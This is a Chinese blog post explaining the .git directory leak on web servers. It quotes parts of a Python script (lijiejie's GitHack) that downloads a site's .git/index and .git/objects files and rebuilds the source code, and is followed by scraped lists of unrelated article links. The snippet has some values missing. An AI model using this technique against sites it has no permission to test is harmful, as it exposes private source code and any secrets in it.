git泄漏原理
之前做过git的加固 但是这东西还是没办法避免的
之前看了乌云的提交的git泄漏,但是都没有详细的原理,去了lijiejie的博客(字太难打了,大师傅别打我 哈哈)
如果一个网站存在git泄漏,git可以还原代码,这样进而导致的代码泄漏的问题。
网上git和国外的那个脚本的工作原理:
1.先去解析.git/index
拿LIJIEJIE的CODE:
class Scanner(object):
def __init__(self):
self.base_url = sys.argv[-]
self.domain = urlparse.urlparse(sys.argv[-]).netloc.replace(':', '_')
if not os.path.exists(self.domain):
os.mkdir(self.domain)
print '[+] Download and parse index file ...'
data = self._request_data(sys.argv[-] + '/index')
with open('index', 'wb') as f:
f.write(data)
self.queue = Queue.Queue()
for entry in parse('index'):
if "sha1" in entry.keys():
self.queue.put((entry["sha1"].strip(), entry["name"].strip()))
print entry['name']
self.lock = threading.Lock()
self.thread_count =
self.STOP_ME = False
然后去找文件名
2.然后去.git/object文件夹下载对应的文件名:
def get_back_file(self):
while not self.STOP_ME:
try:
sha1, file_name = self.queue.get(timeout=0.5)
except:
break
for i in range(3):
try:
folder = '/objects/%s/' % sha1[:2]
data = self._request_data(self.base_url + folder + sha1[2:])
data = zlib.decompress(data)
data = re.sub('blob \d+\00', '', data)
target_dir = os.path.join(self.domain, os.path.dirname(file_name) )
if target_dir and not os.path.exists(target_dir):
os.makedirs(target_dir)
with open( os.path.join(self.domain, file_name) , 'wb') as f:
f.write(data)
self._print('[OK] %s' % file_name)
break
except urllib2.HTTPError, e:
if str(e).find('HTTP Error 404') >=0:
self._print('[File not found] %s' % file_name)
break
except Exception, e:
self._print('[Error] %s' % e)
self.exit_thread()
3.使用zlib,重构源码
git泄漏原理的更多相关文章
- Git详解之九:Git内部原理
		Git 内部原理 不管你是从前面的章节直接跳到了本章,还是读完了其余各章一直到这,你都将在本章见识 Git 的内部工作原理和实现方式.我个人发现学习这些内容对于理解 Git 的用处和强大是非常重要的, ... 
- android Git命令家底儿及Git数据通信原理详解
		声明:本文为CSDN原创投稿文章,未经许可,禁止任何形式的转载. 现在大部分使用的都是SVN,也有一部分迁移了Git,虽然挺好的,不过还有其它很多版本控制的工具,并没有谁最好用,最重要的是适合自己的公 ... 
- Git的原理简介和常用命令
		Git和SVN是我们最常用的版本控制系(Version Control System, VCS),当然,除了这二者之外还有许多其他的VCS,例如早期的CVS等.顾名思义,版本控制系统主要就是控制.协调 ... 
- git内部原理
		Git 内部原理 无论是从之前的章节直接跳到本章,还是读完了其余章节一直到这——你都将在本章见识到 Git 的内部工作原理 和实现方式. 我们发现学习这部分内容对于理解 Git 的用途和强大至关重要. ... 
- Git详解之九 Git内部原理
		以下内容转载自:http://www.open-open.com/lib/view/open1328070620202.html Git 内部原理 不管你是从前面的章节直接跳到了本章,还是读完了其余各 ... 
- git内部原理-第一篇
		本人计划写一些关于<git内部原理>的文章 计划每周一篇 
- Git 内部原理 - (7)维护与数据恢复 (8) 环境变量 (9)总结
		维护与数据恢复 有的时候,你需要对仓库进行清理 - 使它的结构变得更紧凑,或是对导入的仓库进行清理,或是恢复丢失的内容. 这个小节将会介绍这些情况中的一部分. 维护 Git 会不定时地自动运行一个叫做 ... 
- Git 内部原理--初探 .git
		说到Git大家应该都非常熟悉,几乎每天都会用到它.在日常使用过程中,我们貌似并不需要关注其内部的原理,只需要记住那几个常用的命令,就可以说自己是会Git的人了.可是,事实真的是这样子的吗?今天我们就来 ... 
- Git内部原理浅析
		Git独特之处 Git是一个分布式版本控制系统,首先分布式意味着Git不仅仅在服务端有远程仓库,同时会在本地也保留一个完整的本地仓库(.git/文件夹),这种分布式让Git拥有下面几个特点: 1.直接 ... 
随机推荐
- Sql Server 2012 的新分页方法分析(offset and fetch)  - 转载
			最近在分析 Sql Server 2012 中 offset and fetch 的新特性,发现 offset and fetch 无论语法的简洁还是功能的强大,都是相当相当不错的 其中 offset ... 
- viewpage图片轮播
			package com.exmple.viewpage2; import java.util.ArrayList;import java.util.List;import java.util.Time ... 
- xxxx
			http://www.cnblogs.com/zhuojun/p/5747999.html 
- PHP用substr截取字符串出现中文乱码问题用mb_substr
			PHP用substr截取字符串出现中文乱码问题用mb_substr实例:mb_substr('截取中文乱码问题测试',0,5, 'utf-8'); 语法 : string substr (string ... 
- laravel页面间的传值
			可以在前端页面元素上添加onclick事件 onclick='selectRaw(this)' js中写function selectRaw(obj){ var data=$(obj).attr(& ... 
- Google Map: JavaScript API RefererNotAllowedMapError
			visite https://console.developers.google.com/apis/credentials and select the project you use. http:/ ... 
- git 使用详解(5)-- get log 查看提交历史【转】
			转自:http://blog.csdn.net/wh_19910525/article/details/7468549 版权声明:本文为博主原创文章,未经博主允许不得转载. 目录(?)[-] 限制 ... 
- jiffies溢出与时间先后比较-time_after,time_before【转】
			转自:http://www.cnblogs.com/hfyinsdu/p/4600052.html 参考地址: http://blog.csdn.net/jk110333/article/detail ... 
- 这个Glance的界面该怎么看出问题,为什么状态是SOCKT?
			这个glance的状态图有问题吗? 
- rsync增量传输大文件优化技巧
			问题 rsync用来同步数据非常的好用,特别是增量同步.但是有一种情况如果不增加特定的参数就不是很好用了.比如你要同步多个几十个G的文件,然后网络突然断开了一下,这时候你重新启动增量同步.但是发现等了 ... 
